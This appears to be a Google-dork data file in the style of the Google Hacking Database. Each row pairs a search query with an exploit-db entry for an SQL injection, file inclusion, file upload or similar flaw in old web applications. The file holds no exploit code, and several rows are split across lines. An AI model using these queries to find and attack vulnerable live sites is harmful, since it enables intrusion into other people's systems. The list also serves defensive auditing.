"MobPartner Counter" "upload files"	"MobPartner Counter" "upload files"	MobPartner Counter - Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/11019
allinurl: "modules/glossaires"	allinurl: "modules/glossaires"	XOOPS Module Glossario 2.2 (sid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5216

inurl:com_netinvoice	inurl:com_netinvoice	Joomla Component netinvoice 1.2.0 SP1 SQL Injection Vulnerability - CVE: 2008-3498: http://www.exploit-db.com/exploits/5939
inurl:com_beamospetition	inurl:com_beamospetition	Joomla Component beamospetition Remote SQL Injection Vulnerability - CVE: 2008-3132: http://www.exploit-db.com/exploits/5965
"com_lmo"	"com_lmo"	Joomla LMO Component 1.0b2 Remote Include Vulnerability - CVE: 2006-3970: http://www.exploit-db.com/exploits/2092
"Powered by Clicknet CMS"	"Powered by Clicknet CMS"	Clicknet CMS 2.1 (side) Arbitrary File Disclosure Vulnlerability - CVE: 2009-2325: http://www.exploit-db.com/exploits/9037
Igloo (interest group glue)	Igloo (interest group glue)	Igloo 0.1.9 (Wiki.php) Remote File Include Vulnerability - CVE: 2006-2819: http://www.exploit-db.com/exploits/1863
inurl:"com_acstartseite"	inurl:"com_acstartseite"	Joomla Component com_acstartseite Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11479
"Powered by Populum"	"Powered by Populum"	Populum 2.3 SQL injection vulnerability: http://www.exploit-db.com/exploits/11126
"Powered by PWP Version 1-5-1" AND inurl:"/wiki/run.php"	"Powered by PWP Version 1-5-1" AND inurl:"/wiki/run.php"	PWP Wiki Processor 1-5-1 Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/7740
intext:"Design by BB Media.Org"	intext:"Design by BB Media.Org"	BBMedia Design's SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12711
inurl:"com_acprojects"	inurl:"com_acprojects"	Joomla Component com_acprojects Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11480
inurl:"com_acteammember"	inurl:"com_acteammember"	Joomla Component com_acteammember SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11483

Powered by Maian Weblog v4.0	Powered by Maian Weblog v4.0	Maian Weblog 4.0 Insecure Cookie Handling Vulnerability - CVE: 2008-3318: http://www.exploit-db.com/exploits/6064
Powered by: Maian Recipe v1.2	Powered by: Maian Recipe v1.2	Maian Recipe 1.2 Insecure Cookie Handling Vulnerability - CVE: 2008-3322: http://www.exploit-db.com/exploits/6063
Powered by: Maian Search v1.1	Powered by: Maian Search v1.1	Maian Search 1.1 Insecure Cookie Handling Vulnerability - CVE: 2008-3317: http://www.exploit-db.com/exploits/6066
Powered by: Maian Links v3.1	Powered by: Maian Links v3.1	Maian Links 3.1 Insecure Cookie Handling Vulnerability - CVE: 2008-3319: http://www.exploit-db.com/exploits/6062
Powered by: Maian Uploader v4.0	Powered by: Maian Uploader v4.0	Maian Uploader 4.0 Insecure Cookie Handling Vulnerability - CVE: 2008-3321: http://www.exploit-db.com/exploits/6065
"Powered By Steamcast "0.9.75 beta	"Powered By Steamcast "0.9.75 beta	Steamcast 0.9.75b Remote Denial of Service: http://www.exploit-db.com/exploits/8429
Powered by Maian Guestbook v3.2	Powered by Maian Guestbook v3.2	Maian Guestbook 3.2 Insecure Cookie Handling Vulnerability - CVE: 2008-3320: http://www.exploit-db.com/exploits/6061
inurl:acrotxt.php wbb	inurl:acrotxt.php wbb	WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection Vulnerability - CVE: 2007-4581: http://www.exploit-db.com/exploits/4327
Designed by:InterTech Co	Designed by:InterTech Co	InterTech Co 1.0 SQL Injection: http://www.exploit-db.com/exploits/11440
allinurl: cid"modules/classifieds/index.php?pa=Adsview"	allinurl: cid"modules/classifieds/index.php?pa=Adsview"	XOOPS Module classifieds (cid) Remote SQL Injection Vulnerability - CVE: 2008-0873: http://www.exploit-db.com/exploits/5158
News powered by ashnews	News powered by ashnews	ashNews 0.83 (pathtoashnews) Remote File Include Vulnerabilities - CVE: 2003-1292: http://www.exploit-db.com/exploits/1864

"Transloader by Somik.org" OR "Transloader by" OR "Transloder"	"Transloader by Somik.org" OR "Transloader by" OR "Transloder"	Transload Script Upload Vulnerability: http://www.exploit-db.com/exploits/11155
allinurl: "modules MyAnnonces index php pa view"	allinurl: "modules MyAnnonces index php pa view"	RunCMS Module MyAnnonces (cid) SQL Injection Vulnerability - CVE: 2008-0878: http://www.exploit-db.com/exploits/5156
"News Managed by Ditto News"	"News Managed by Ditto News"	Xtreme/Ditto News 1.0 (post.php) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/1887
Powered by ArticlesOne.com oR Website Powered by ArticlesOne.com	Powered by ArticlesOne.com oR Website Powered by ArticlesOne.com	ArticlesOne 07232006 (page) Remote Include Vulnerability: http://www.exploit-db.com/exploits/2063
Coded By WebLOADER	Coded By WebLOADER	Webloader v7 - v8 (vid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12647
"Powered by Philboard" inurl:"philboard_forum.asp"	"Powered by Philboard" inurl:"philboard_forum.asp"	Philboard 1.14 (philboard_forum.asp) SQL Injection Vulnerability - CVE: 2007-0920: http://www.exploit-db.com/exploits/3295
"powered by CubeCart" inurl:"index.php?_a="	"powered by CubeCart" inurl:"index.php?_a="	CubeCart (index.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11495
inurl:"com_jjgallery	inurl:"com_jjgallery	Joomla Component Carousel Flash Image Gallery RFI Vulnerability - CVE: 2007-6027: http://www.exploit-db.com/exploits/4626
intext:"jPORTAL 2" inurl:"mailer.php"	intext:"jPORTAL 2" inurl:"mailer.php"	jPORTAL 2 mailer.php Remote SQL Injection Vulnerability - CVE: 2007-5974: http://www.exploit-db.com/exploits/4611
intext: "Site developed & mantained by Woodall Creative Group"	intext: "Site developed & mantained by Woodall Creative Group"	Woodall Creative SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12576
inurl:CuteSoft_Cli	inurl:CuteSoft_Client/CuteEditor	Cute Editor ASP.NET Remote File

ent/CuteEditor		Disclosure Vulnerability - CVE: 2009-4665: http://www.exploit-db.com/exploits/8785
"Web Group Communication Center beta 0.5.6" OR "Web Group Communication Center beta 0.5.5"	"Web Group Communication Center beta 0.5.6" OR "Web Group Communication Center beta 0.5.5"	WGCC 0.5.6b (quiz.php) Remote SQL Injection Vulnerability - CVE: 2006-5514: http://www.exploit-db.com/exploits/2604
inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"	inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"	PhpWebGallery 1.3.4 (cat) Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6436
inurl:tr.php?id=	inurl:tr.php?id=	Downline Goldmine newdownlinebuilder (tr.php id) SQL Injection Vuln: http://www.exploit-db.com/exploits/6951
inurl:tr.php?id=	inurl:tr.php?id=	Downline Goldmine paidversion (tr.php id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6950
allintext:"Browse Blogs by Category"	allintext:"Browse Blogs by Category"	Blog System 1.x (index.php news_id) Remote SQL Injection Vulnerability - CVE: 2007-3979: http://www.exploit-db.com/exploits/4206
inurl:option=com_mydyngallery	inurl:option=com_mydyngallery	Joomla Component mydyngallery 1.4.2 (directory) SQL Injection Vuln - CVE: 2008-5957: http://www.exploit-db.com/exploits/7343
inurl:index.php?mod=sondages	inurl:index.php?mod=sondages	KwsPHP 1.0 sondages Module Remote SQL Injection Vulnerability - CVE: 2007-4979: http://www.exploit-db.com/exploits/4422
inurl:"tr1.php?id=" Forced Matrix	inurl:"tr1.php?id=" Forced Matrix	YourFreeWorld Forced Matrix Script (id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6939
allintext:"SuperCali Event Calendar"	allintext:"SuperCali Event Calendar"	SuperCali PHP Event Calendar 0.4.0 SQL Injection Vulnerability - CVE: 2007-3582: http://www.exploit-db.com/exploits/4141
inurl:"com_ckforms"	inurl:"com_ckforms"	Joomla Component (com_ckforms) Local File Inclusion Vulnerability:

		http://www.exploit-db.com/exploits/15453
inurl:"com_prayer center"	inurl:"com_prayercenter"	Joomla Component prayercenter 1.4.9 (id) SQL Injection Vulnerability - CVE: 2008-6429: http://www.exploit-db.com/exploits/5708/
"Powered by Glossword 1.8.11" OR "Powered by Glossword 1.8.6"	"Powered by Glossword 1.8.11" OR "Powered by Glossword 1.8.6"	Glossword 1.8.11 (index.php x) Local File Inclusion Vulnerability: http://www.exploit-db.com/exploits/9010
ADP Forum 2.0.3 is powered by VzScripts	ADP Forum 2.0.3 is powered by VzScripts	Vz (Adp) Forum 2.0.3 Remote Password Disclosure Vulnerablity - CVE: 2006-6891: http://www.exploit-db.com/exploits/3053
inurl:"com_ccnew sletter"	inurl:"com_ccnewsletter"	Joomla Component com_ccnewsletter LFI Vulnerability - CVE: 2010-0467: http://www.exploit-db.com/exploits/11282
inurl:"add_soft.ph p"	inurl:"add_soft.php"	Software Index 1.1 (cid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5378
pages.php?id= "Multi Vendor Mall"	pages.php?id= "Multi Vendor Mall"	Multi Vendor Mall (itemdetail.php & shop.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12755
"Search Affiliate Programs:"	"Search Affiliate Programs:"	Affiliate Directory (cat_id) Remote SQL Injection Vulnerbility: http://www.exploit-db.com/exploits/5363
intitle:"Dacio's Image Gallery"	intitle:"Dacio's Image Gallery"	Dacio's Image Gallery 1.6 (DT/Bypass/SU) Remote Vulnerabilities: http://www.exploit-db.com/exploits/8653
"Website by Spokane Web Communications"	"Website by Spokane Web Communications"	ArticleLive (Interspire Website Publisher) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12526
"powered by: elkagroup"	"powered by: elkagroup"	elkagroup SQL Injection Vulnerability - CVE: 2009-4569: http://www.exploit-db.com/exploits/10330
allinurl:/myspeach	allinurl:/myspeach/	MySpeach 3.0.2 (my_ms[root])

/		Remote File Include Vulnerability - CVE: 2006-4630: http://www.exploit-db.com/exploits/2301
Powered by Revsense	Powered by Revsense	RevSense (Auth bypass) Remote SQL Injection Vulnerability - CVE: 2008-6309: http://www.exploit-db.com/exploits/7163
724CMS Powered, 724CMS Version 4.59. Enterprise	724CMS Powered, 724CMS Version 4.59. Enterprise	724CMS Enterprise Version 4.59 SQL Injection Vulnerability - CVE: 2008-1858: http://www.exploit-db.com/exploits/12560
index.php?option=com_facileforms	index.php?option=com_facileforms	Joomla Component com_facileforms 1.4.4 RFI Vulnerability - CVE: 2008-2990: http://www.exploit-db.com/exploits/5915
Powered By phUploader	Powered By phUploader	phUploader Remote File Upload Vulnerability - CVE: 2007-4527: http://www.exploit-db.com/exploits/10574
inurl:"myLDlinker.php"	inurl:"myLDlinker.php"	WordPress Plugin myLDlinker SQL Injection Vulnerability - CVE: 2010-2924: http://www.exploit-db.com/exploits/14441
inurl:com_idoblog	inurl:com_idoblog	Joomla Component iDoBlog b24 Remote SQL Injection Vulnerability - CVE: 2008-2627: http://www.exploit-db.com/exploits/5730
/modules/xhresim/	/modules/xhresim/	XOOPS Module xhresim (index.php no) Remote SQL Injection Vuln - CVE: 2008-5665: http://www.exploit-db.com/exploits/6748
"Powered by FubarForum v1.5"	"Powered by FubarForum v1.5"	FubarForum 1.5 (index.php page) Local File Inclusion Vulnerability - CVE: 2008-2887: http://www.exploit-db.com/exploits/5872
/modules/amevents/print.php?id=	/modules/amevents/print.php?id=	XOOPS Module Amevents (print.php id) SQL Injection Vulnerability - CVE: 2008-5768: http://www.exploit-db.com/exploits/7479
allinurl: com_gallery "func"	allinurl: com_gallery "func"	Mambo Component com_gallery Remote SQL Injection Vulnerability - CVE: 2008-0746: http://www.exploit-db.com/exploits/5084

"pForum 1.29a" OR ""Powie's PSCRIPT Forum 1.26"	"pForum 1.29a" OR ""Powie's PSCRIPT Forum 1.26"	Powies pForum 1.29a (editpoll.php) SQL Injection Vulnerability - CVE: 2006-6038: http://www.exploit-db.com/exploits/2797
allinurl: "/modules/myTopics/"	allinurl: "/modules/myTopics/"	XOOPS Module myTopics (articleid) Remote SQL Injection Vulnerability - CVE: 2008-0847: http://www.exploit-db.com/exploits/5148
inurl:"com_ckforms"	inurl:"com_ckforms"	Joomla Component com_ckforms Multiple Vulnerabilities - CVE: 2010-1344: http://www.exploit-db.com/exploits/11785
allinurl:"index.php?site=" "W-Agora"	allinurl:"index.php?site=" "W-Agora"	w-Agora 4.2.1 (cat) Remote SQL Injection Vulnerability - CVE: 2007-6647: http://www.exploit-db.com/exploits/4817
inurl:categoria.php?ID= comune	inurl:categoria.php?ID= comune	Prometeo v1.0.65 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14806
inurl:"index.php?m_id="	inurl:"index.php?m_id="	slogan design Script SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12849
Powered by MVC-Web CMS inurl:/index.asp?newsid=	Powered by MVC-Web CMS inurl:/index.asp?newsid=	MVC-Web CMS 1.0/1.2 (index.asp newsid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5912
allinurl: "showCat.php?cat_id"	allinurl: "showCat.php?cat_id"	D.E. Classifieds (cat_id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5291
"PhpLinkExchange v1.02"	"PhpLinkExchange v1.02"	PhpLinkExchange v1.02 - XSS/Upload Vulerability - CVE: 2008-3679: http://www.exploit-db.com/exploits/10495
"ClanSys v.1.1"	"ClanSys v.1.1"	Clansys v.1.1 (index.php page) PHP Code Insertion Vulnerability - CVE: 2006-2005: http://www.exploit-db.com/exploits/1710
inurl:inc_accountlistmanager.asp	inurl:inc_accountlistmanager.asp	DMXReady Account List Manager 1.1 Contents Change Vulnerability: http://www.exploit-db.com/exploits/7754

inurl:com_jomestate	inurl:com_jomestate	Joomla Hot Property com_jomestate RFI Vulnerability: http://www.exploit-db.com/exploits/13956
"Members Statistics" +"Total Members" +"Guests Online"	"Members Statistics" +"Total Members" +"Guests Online"	AR Memberscript (usercp_menu.php) Remote File Include Vulnerability - CVE: 2006-6590: http://www.exploit-db.com/exploits/2931
"Copyright Interactivefx.ie"	"Copyright Interactivefx.ie"	Interactivefx.ie CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11873
"Powered by Atomic Photo Album" inurl:"photo.php?apa_album_ID="	"Powered by Atomic Photo Album" inurl:"photo.php?apa_album_ID="	Atomic Photo Album 1.0.2 Multiple Vulnerabilities: http://www.exploit-db.com/exploits/14801
inurl:tr.php?id= Hosting	inurl:tr.php?id= Hosting	YourFreeWorld Classifieds Hosting (id) SQL Injection Vulnerability - CVE: 2008-4884: http://www.exploit-db.com/exploits/6948
allinur:com_extended_registration	allinur:com_extended_registration	Mambo com_registration_detailed 4.1 Remote File Include - CVE: 2006-5254: http://www.exploit-db.com/exploits/2379
"100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="	"100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="	Easy Photo Gallery 2.1 Arbitrary Add Admin / remove user Vulnerability - CVE: 2008-4167: http://www.exploit-db.com/exploits/6437
inurl:com_rapidrecipe "recipe_id"	inurl:com_rapidrecipe "recipe_id"	Joomla Component rapidrecipe Remote SQL injection Vulnerability - CVE: 2008-2697: http://www.exploit-db.com/exploits/5759
"Powered by SoftbizScripts" "OUR SPONSORS"	"Powered by SoftbizScripts" "OUR SPONSORS"	Softbiz Link Directory Script Remote SQL Injection Vulnerability - CVE: 2007-5996: http://www.exploit-db.com/exploits/4620
Powered by PowerPortal v1.3a	Powered by PowerPortal v1.3a	PowerPortal 1.3a (index.php) Remote File Include Vulnerability - CVE: 2006-5126: http://www.exploit-db.com/exploits/2454
Powered by DUdforum 3.0 inurl:/forums.asp?i	Powered by DUdforum 3.0 inurl:/forums.asp?iFor=	DUdForum 3.0 (forum.asp iFor) Remote SQL Injection Vulnerability: http://www.exploit-

For=		db.com/exploits/5894
"powered by kure"	"powered by kure"	Kure 0.6.3 (index.php post,doc) Local File Inclusion Vulnerability - CVE: 2008-4632: http://www.exploit-db.com/exploits/6767
"Liberum Help Desk, Copyright (C) 2001 Doug Luxem"	"Liberum Help Desk, Copyright (C) 2001 Doug Luxem"	Liberum Help Desk 0.97.3 (SQL/DD) Remote Vulnerabilities - CVE: 2008-6057: http://www.exploit-db.com/exploits/7493
inurl:modules.php ?name=Shopping_ Cart	inurl:modules.php?name=Shopping_Cart	PHP-Nuke Module Emporium 2.3.0 (id_catg) SQL Injection Vulnerability - CVE: 2007-1034: http://www.exploit-db.com/exploits/10615
allinurl: galid "index.php?p=gallerypic"	allinurl: galid "index.php?p=gallerypic"	Koobi Pro 6.25 gallery Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5413
intext:"powered by itaco group"	intext:"powered by itaco group"	ITaco Group ITaco.biz (view_news) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11012
"Powered by yappa-ng 2.3.1" AND "Powered by yappa-ng 2.3.1"	"Powered by yappa-ng 2.3.1" AND "Powered by yappa-ng 2.3.1"	yappa-ng 2.3.1 (admin_modules) Remote File Include Vulnerability: http://www.exploit-db.com/exploits/2292
mediaHolder.php?id	mediaHolder.php?id	WordPress Media Holder (mediaHolder.php id) SQL Injection Vuln: http://www.exploit-db.com/exploits/6842
"powered by seditio" OR "powered by ldu"	"powered by seditio" OR "powered by ldu"	Seditio CMS v121 (pfs.php) Remote File Upload Vulnerability - CVE: 2007-4057: http://www.exploit-db.com/exploits/4235
inurl:com_forum	inurl:com_forum	com_forum Mambo Component
Powered By AJ Auction	Powered By AJ Auction	AJ Auction v1 (id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5868
"Powered by Content Injector v1.52"	"Powered by Content Injector v1.52"	Content Injector 1.52 (index.php cat) Remote SQL Injection Vulnerability - CVE: 2007-6137: http://www.exploit-db.com/exploits/4645

Events Calendar 1.1	Events Calendar 1.1	Events Calendar 1.1 Remote File Inclusion Vulnerability - CVE: 2008-4673: http://www.exploit-db.com/exploits/6623
"Copyright (c) 2004-2006 by Simple PHP Guestbook"	"Copyright (c) 2004-2006 by Simple PHP Guestbook"	Simple PHP Guestbook Remote Admin Access: http://www.exploit-db.com/exploits/10666
inurl:inc_linksmanager.asp	inurl:inc_linksmanager.asp	DMXReady Links Manager 1.1 Remote Contents Change Vulnerability: http://www.exploit-db.com/exploits/7772
inurl:/index.php?option=com_otzivi	inurl:/index.php?option=com_otzivi	Joomla Component com_otzivi Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10966
"Powered by DigitalHive"	"Powered by DigitalHive"	DigitalHive 2.0 RC2 (base_include.php) Remote Include Vulnerability - CVE: 2006-5493: http://www.exploit-db.com/exploits/2566
inurl:"com_casino_blackjack"	inurl:"com_casino_blackjack"	Joomla Casino 0.3.1 Multiple SQL Injection - CVE: 2009-2239: http://www.exploit-db.com/exploits/8743
inurl:"/tagit2b/"	inurl:"/tagit2b/"	TagIt! Tagboard 2.1.b b2 (index.php) Remote File Include Vulnerability - CVE: 2006-5093: http://www.exploit-db.com/exploits/2450
"powered by LionWiki "	"powered by LionWiki "	LionWiki 3.X (index.php) Shell Upload Vulnerability: http://www.exploit-db.com/exploits/12075
allinurl: "index.php?area"galid	allinurl: "index.php?area"galid	Koobi Pro 6.25 showimages Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5414
inurl:"tr1.php?id="	inurl:"tr1.php?id="	YourFreeWorld Scrolling Text Ads (id) SQL Injection Vulnerability - CVE: 2008-4885: http://www.exploit-db.com/exploits/6942
"Designed by Spaceacre"	"Designed by Spaceacre"	Spaceacre Multiple SQL Injection Vulnerability: http://www.exploit-

		db.com/exploits/12551
Powered by Shadowed Portal	Powered by Shadowed Portal	Shadowed Portal 5.7d3 (POST) Remote File Inclusion Vulnerability: http://www.exploit-db.com/exploits/4769
"Powered by: PhotoPost PHP 4.6.5"	"Powered by: PhotoPost PHP 4.6.5"	PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability - CVE: 2004-0239: http://www.exploit-db.com/exploits/14453
inurl:"com_otzivi"	inurl:"com_otzivi"	Joomla Component com_otzivi Local File Inclusion Vulnerability: http://www.exploit-db.com/exploits/11494
inurl:"browse.php?folder=" Powered by GeneShop 5	inurl:"browse.php?folder=" Powered by GeneShop 5	GeneShop 5.1.1 SQL Injection Vunerability: http://www.exploit-db.com/exploits/12442
"Powered by PsNews"	"Powered by PsNews"	PsNews 1.1 (show.php newspath) Local File Inclusion Vulnerability - CVE: 2007-3772: http://www.exploit-db.com/exploits/4174
inurl:inc_faqsmanager.asp	inurl:inc_faqsmanager.asp	DMXReady Faqs Manager 1.1 Remote Contents Change Vulnerability: http://www.exploit-db.com/exploits/7770
"powered by sX-Shop"	"powered by sX-Shop"	sX-Shop Multiple SQL Injection Vulnerabilities: http://www.exploit-db.com/exploits/14558
intext:'Powered by ProArcadeScript ' inurl:'game.php?id='	intext:'Powered by ProArcadeScript ' inurl:'game.php?id='	ProArcadeScript to Game (game) SQL Injection Vulnerability - CVE: 2010-1069: http://www.exploit-db.com/exploits/11080
inurl:tr.php?id= Downline	inurl:tr.php?id= Downline	YourFreeWorld Downline Builder (id) Remote SQL Injection Vulnerability - CVE: 2008-4895: http://www.exploit-db.com/exploits/6935
inurl:tr.php?id= Autoresponder	inurl:tr.php?id= Autoresponder	YourFreeWorld Autoresponder Hosting (id) SQL Injection Vulnerability - CVE: 2008-4882: http://www.exploit-db.com/exploits/6938
inurl:"/index.php?m="	inurl:"/index.php?m=" "PHPRecipeBook 2.39"	PHPRecipeBook 2.39 (course_id) Remote SQL Injection Vulnerability -

"PHPRecipeBook 2.39"		CVE: 2009-4883: http://www.exploit-db.com/exploits/8330
"powered by webClassifieds"	"powered by webClassifieds"	webClassifieds 2005 (Auth Bypass) SQL Injection Vulnerability - CVE: 2008-5817: http://www.exploit-db.com/exploits/7602
inurl:/modules/Partenaires/clic.php?id=	inurl:/modules/Partenaires/clic.php?id=	Nuked-Klan Module Partenaires NK 1.5 Blind Sql Injection: http://www.exploit-db.com/exploits/14556
"Powered by SoftbizScripts" "ALL JOBS"	"Powered by SoftbizScripts" "ALL JOBS"	Softbiz Jobs & Recruitment Remote SQL Injection Vulnerability - CVE: 2007-5316: http://www.exploit-db.com/exploits/4504
inurl:com_jabode	inurl:com_jabode	Joomla Component jabode (id) Remote SQL Injection Vulnerability - CVE: 2008-7169: http://www.exploit-db.com/exploits/5963
"powered by DBHcms"	"powered by DBHcms"	DBHcms 1.1.4 Stored XSS: http://www.exploit-db.com/exploits/12499
inurl:"nabopoll/"	inurl:"nabopoll/"	nabopoll 1.2 Remote Unprotected Admin Section Vulnerability - CVE: 2007-0873: http://www.exploit-db.com/exploits/3305
inurl:test.php Powered by TalkBack	inurl:test.php Powered by TalkBack	TalkBack 2.3.14 Multiple Remote Vulnerabilities - CVE: 2009-4854: http://www.exploit-db.com/exploits/9095
"Powered by Ovidentia"	"Powered by Ovidentia"	Ovidentia 6.6.5 (item) Remote SQL Injection Vulnerability - CVE: 2008-3918: http://www.exploit-db.com/exploits/6232
team5 studio all rights reserved site:cn	team5 studio all rights reserved site:cn	Team 1.x (DD/XSS) Multiple Remote Vulnerabilities - CVE: 2009-0760: http://www.exploit-db.com/exploits/7982
allintext:" If you would like to contact us, our email address is" traffic	allintext:" If you would like to contact us, our email address is" traffic	Traffic Stats (referralUrl.php offset) Remote SQL Injection Vulnerbility - CVE: 2007-3840: http://www.exploit-db.com/exploits/4187

"powered by phpGreetCards"	"powered by phpGreetCards"	phpGreetCards XSS/Arbitrary File Upload Vulnerability - CVE: 2008-6848: http://www.exploit-db.com/exploits/7561
powered by apt-webservice ;apt-webshop-system v3.0	powered by apt-webservice ;apt-webshop-system v3.0	APT-WEBSHOP-SYSTEM modules.php SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14528
inurl:/wp-content/plugins/wpSS/	inurl:/wp-content/plugins/wpSS/	Wordpress Plugin Spreadsheet 0.6 SQL Injection Vulnerability - CVE: 2008-1982: http://www.exploit-db.com/exploits/5486
"Powerd by www.e-webtech.com"	"Powerd by www.e-webtech.com"	e-webtech (new.asp?id=) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12547
inurl:inc_billboardmanager.asp?ItemID=	inurl:inc_billboardmanager.asp?ItemID=	DMXReady Billboard Manager 1.1 Remote File Upload Vulnerability: http://www.exploit-db.com/exploits/7791
allinurl :"modules/recipe"	allinurl :"modules/recipe"	XOOPS Module Recipe (detail.php id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5473
"powered by php advanced transfer manager"	"powered by php advanced transfer manager"	phpAtm 1.30 (downloadfile) Remote File Disclosure Vulnerability - CVE: 2007-2659: http://www.exploit-db.com/exploits/3918
"Powered by GeN4"	"Powered by GeN4"	PTCPay GEN4 (buyupg.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14086
"Powered By Gravity Board X v2.0 BETA"	"Powered By Gravity Board X v2.0 BETA"	Gravity Board X 2.0b SQL Injection / Post Auth Code Execution - CVE: 2008-2996: http://www.exploit-db.com/exploits/8350
inurl:com_flippingbook	inurl:com_flippingbook	Joomla Component FlippingBook 1.0.4 SQL Injection Vulnerability - CVE: 2008-2095: http://www.exploit-db.com/exploits/5484
"Help desk software by United Web Coders rev.	"Help desk software by United Web Coders rev. 3.0.640"	Trouble Ticket Software ttx.cgi Remote File Download: http://www.exploit-

3.0.640"		db.com/exploits/11823
"Powered by vlBook 1.21"	"Powered by vlBook 1.21"	vlBook 1.21 (XSS/LFI) Multiple Remote Vulnerabilities - CVE: 2008-2073: http://www.exploit-db.com/exploits/5529
inurl:tr.php?id= Reminder Service	inurl:tr.php?id= Reminder Service	YourFreeWorld Reminder Service (id) SQL Injection Vulnerability - CVE: 2008-4881: http://www.exploit-db.com/exploits/6943
"Jevonweb Guestbook"	"Jevonweb Guestbook"	Jevonweb Guestbook Remote Admin Access: http://www.exploit-db.com/exploits/10665
inurl:inc_contactus manager.asp	inurl:inc_contactusmanager.asp	DMXReady Contact Us Manager 1.1 Remote Contents Change Vuln: http://www.exploit-db.com/exploits/7768
inurl:com_neorecr uit	inurl:com_neorecruit	Joomla Component com_neorecruit 1.4 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14570
"index.php?option =com_mdigg"	"index.php?option=com_mdigg"	Joomla Component com_mdigg SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10847
"Uploader by CeleronDude."	"Uploader by CeleronDude."	Uploader by CeleronDude 5.3.0 - Upload Vulnerability: http://www.exploit-db.com/exploits/11166
"Software PBLang 4.66z" AND "Software PBLang 4.60" OR "Software PBLang"	"Software PBLang 4.66z" AND "Software PBLang 4.60" OR "Software PBLang"	PBLang 4.66z (temppath) Remote File Include Vulnerability - CVE: 2006-5062: http://www.exploit-db.com/exploits/2428
'SEO by NuSEO.PHP'	'SEO by NuSEO.PHP'	NuSEO PHP Enterprise 1.6 Remote File Inclusion Vulnerability - CVE: 2007-5409: http://www.exploit-db.com/exploits/4512
intext:"Web design by goffgrafix.com"	intext:"Web design by goffgrafix.com"	goffgrafix Design's SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12712
powered by	powered by zeeways	Zeeways Technology

zeeways		(product_desc.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11047
"Welcome to Exponent CMS" | "my new exponent site" inurl:articlemodule	"Welcome to Exponent CMS" | "my new exponent site" inurl:articlemodule	Exponent CMS 0.96.3 (articlemodule) Sql Injection Vulnerability: http://www.exploit-db.com/exploits/11349
intitle:"Shorty (Beta)"	intitle:"Shorty (Beta)"	Shorty 0.7.1b (Auth Bypass) Insecure Cookie Handling Vulnerability: http://www.exploit-db.com/exploits/9419
inurl:index.php?mod=ConcoursPhoto	inurl:index.php?mod=ConcoursPhoto	KwsPHP Module ConcoursPhoto (C_ID) SQL Injection Vulnerability - CVE: 2008-1758: http://www.exploit-db.com/exploits/5353
Powered by sabros.us	Powered by sabros.us	sabros.us 1.75 (thumbnails.php) Remote File Disclosure Vulnerability - CVE: 2008-1799: http://www.exploit-db.com/exploits/5360
inurl:inc_registrationmanager.asp	inurl:inc_registrationmanager.asp	DMXReady Registration Manager 1.1 Contents Change Vulnerability: http://www.exploit-db.com/exploits/7784
"Powered by Drumbeat" inurl:index02.php	"Powered by Drumbeat" inurl:index02.php	Drumbeat CMS SQL Injection: http://www.exploit-db.com/exploits/10575
"Designed & Developed by N.E.T E-Commerce Group. All Rights Reserved."	"Designed & Developed by N.E.T E-Commerce Group. All Rights Reserved."	IranMC Arad Center (news.php id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/6712
"You have not provided a survey identification number"	"You have not provided a survey identification number"	LimeSurvey 1.52 (language.php) Remote File Inclusion Vulnerability - CVE: 2007-5573: http://www.exploit-db.com/exploits/4544
"Powered by ComicShout"	"Powered by ComicShout"	ComicShout 2.8 (news.php news_id) SQL Injection Vulnerability - CVE: 2008-6425: http://www.exploit-db.com/exploits/5713
powered by Pixaria. Gallery	powered by Pixaria. Gallery	Pixaria Gallery 1.x (class.Smarty.php) Remote File Include Vulnerability -

		CVE: 2007-2457: http://www.exploit-db.com/exploits/3733
"Powered by FlashGameScript"	"Powered by FlashGameScript"	FlashGameScript 1.7 (user) Remote SQL Injection Vulnerability - CVE: 2007-3646: http://www.exploit-db.com/exploits/4161
index.php?option=com_ongallery	index.php?option=com_ongallery	Joomla Component OnGallery SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14659
Powered by WHMCompleteSolution - OR inurl:WHMCS OR announcements.php	Powered by WHMCompleteSolution - OR inurl:WHMCS OR announcements.php	WHMCS Control 2 (announcements.php) SQL Injection: http://www.exploit-db.com/exploits/12481
